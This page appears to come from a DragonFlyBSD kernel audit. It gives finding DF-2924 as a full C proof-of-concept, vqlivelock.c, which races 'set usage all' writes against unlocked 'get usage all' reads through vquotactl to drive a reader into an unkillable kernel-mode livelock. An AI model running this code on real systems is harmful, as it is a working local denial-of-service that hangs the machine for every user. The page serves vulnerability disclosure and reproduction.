DragonFlyBSD Kernel Audit
DF-2924 / vqlivelock.c
← back to finding ↓ download raw
/*
 * DF-2924 proof-of-concept: cmd_get_usage_all() walks the accounting
 * RB trees WITHOUT holding ac_spin (vfs_quota.c:187/:202) while a
 * concurrent "set usage all" (or vfs_stdaccount) mutates/rebalances
 * them under the spinlock (:228-268).  RB_NEXT() follows parent
 * pointers; a concurrent rotation can make the successor chain cycle,
 * leaving the reading thread spinning forever in kernel mode
 * (no lock held, never sleeps, unkillable).
 *
 * writer: "set usage all" with many distinct uids -> bzero + mass
 *         re-insert (rotations) each call.
 * reader: "get usage all" in a tight loop.
 *
 * Usage: vqlivelock <path> [seconds]
 * After the timeout, a hung reader shows state R (running) forever and
 * ignores SIGKILL -> kernel-mode livelock.
 */
#include <sys/vfs_quota.h>
#include <sys/wait.h>
#include <libprop/proplib.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <errno.h>
#include <unistd.h>
#include <time.h>

#define NUIDS 4096

static void
writer(const char *path)
{
	prop_dictionary_t dict;
	prop_array_t arr;
	struct plistref pref;
	unsigned i;
	char name[32];

	for (;;) {
		dict = prop_dictionary_create();
		prop_dictionary_set_cstring(dict, "command", "set usage all");
		arr = prop_array_create();
		for (i = 0; i < NUIDS; i++) {
			prop_dictionary_t d = prop_dictionary_create();
			snprintf(name, sizeof(name), "u%u", i);
			prop_dictionary_set_uint32(d, "uid",
			    (i * 37) % 0xffffffff);
			prop_dictionary_set_uint64(d, "space used", i);
			prop_array_add(arr, d);
			prop_object_release(d);
		}
		prop_dictionary_set(dict, "arguments", arr);
		prop_object_release(arr);
		if (prop_dictionary_send_syscall(dict, &pref) == 0)
			vquotactl(path, &pref);
		prop_object_release(dict);
	}
	_exit(0);
}

static void
reader(const char *path)
{
	prop_dictionary_t dict;
	struct plistref pref;

	for (;;) {
		dict = prop_dictionary_create();
		prop_dictionary_set_cstring(dict, "command", "get usage all");
		prop_dictionary_set(dict, "arguments", prop_array_create());
		if (prop_dictionary_send_syscall(dict, &pref) == 0)
			vquotactl(path, &pref);
		prop_object_release(dict);
	}
	_exit(0);
}

int
main(int argc, char **argv)
{
	const char *path;
	int secs = 60;
	pid_t wr, rd;
	time_t t0, tlast;
	int st;

	if (argc < 2) {
		fprintf(stderr, "usage: %s <path> [seconds]\n", argv[0]);
		return 2;
	}
	path = argv[1];
	if (argc > 2) secs = atoi(argv[2]);

	wr = fork();
	if (wr == 0) writer(path);
	rd = fork();
	if (rd == 0) reader(path);

	printf("writer=%d reader=%d, running %d s\n", wr, rd, secs);
	t0 = tlast = time(NULL);
	while (time(NULL) - t0 < secs) {
		sleep(5);
		/* reader alive and consuming? check its state via kill */
		if (kill(rd, 0) != 0)
			break;
	}
	/* time's up: try to kill both */
	kill(rd, SIGKILL);
	kill(wr, SIGKILL);
	sleep(3);
	if (waitpid(rd, &st, WNOHANG) == 0) {
		printf("READER UNKILLABLE: kernel-mode livelock reproduced "
		       "(pid %d ignores SIGKILL)\n", rd);
		return 1;
	}
	waitpid(wr, &st, WNOHANG);
	printf("no livelock observed this run (reader exited on SIGKILL)\n");
	return 0;
}